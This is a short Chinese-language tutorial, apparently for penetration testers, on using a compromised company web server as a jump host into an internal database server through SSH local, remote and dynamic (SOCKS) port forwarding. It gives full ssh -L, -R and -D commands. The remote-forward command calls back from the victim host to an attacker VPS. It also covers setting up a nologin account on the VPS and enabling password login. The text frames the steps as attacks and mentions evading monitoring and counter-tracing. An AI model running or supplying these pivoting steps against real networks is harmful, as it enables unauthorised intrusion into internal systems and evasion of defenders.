假设场景
VPS:172.16.0.107
企业公网Web服务器:172.16.0.108
企业内网不出网数据库服务器:172.16.0.106
我们想要以企业Web服务器作为跳板机访问内网数据库服务器。
本地转发
操作对象
VPS
Web服务器(已有 Web 服务器 SSH 账号可忽略此步)
效果
访问 VPS 本机 1152 端口,等于访问内网数据库服务器的 3389 端口
条件
拥有 Web 服务器的可登录 SSH 账号
做法
在VPS上执行下面命令,
ssh -CfNg -L 1152(VPS端口):172.16.0.106(数据库服务器IP):3389(数据库服务器端口) web@172.16.0.108(Web服务器)敏感点
得在 Web 服务器上添加账号,比较敏感,万一有监控就 GG 了。
局限性
只能访问指定主机的指定端口
远程转发
操作对象
Web服务器
VPS(VPS 上有额外的 SSH 账号则可忽略此步)
效果
访问 VPS 本机 1152 端口,等于访问内网数据库服务器的 3389 端口
条件
(1)得有交互式的 Web 服务器 shell(执行后得输入密码和yes)
(2)VPS上有一个不可执行命令的SSH账号(正常账号也行,但是这样容易被别人登录溯源)
做法
在 VPS 上添加一个无法执行命令的账号,(正常账号也行,这样做是为了防止反制)
useradd -g root test -s bin/false
passwd test
在 Web 服务器执行以下命令,
ssh -CfNg -R 1152(VPS端口):172.16.0.106(数据库服务器IP):3389(数据库服务器端口) test@172.16.0.107(VPS)局限性
只能访问指定主机的指定端口
动态转发
操作对象
VPS
Web服务器(已有 Web 服务器 SSH 账号可忽略此步)
效果
本机的 8811 端口变成 Socks4 代理,换言之,Web 服务器变成可以直达内网的 Socks 服务器隧道了。
socks4 127.0.0.1 8811条件
拥有 Web 服务器的可登录 SSH 账号
做法
在 VPS 上执行以下命令,
ssh -CfNg -D 8811(VPS端口) web@172.16.0.108(Web服务器)敏感点
得在 Web 服务器上添加账号,比较敏感,万一有监控就 GG 了。
注意点
本地转发和远程转发都是连接 VPS 的账号,这就要求开启密码登录,下面这样配置即可。
修改 etc/ssh/sshd_config,把 PasswordAuthentication项修改成 yes,然后保存,重启 sshd 服务。
当然,你也可以先把私钥传上去,连接完成后,把私钥删掉,但比较麻烦,笔者推荐密码登录。




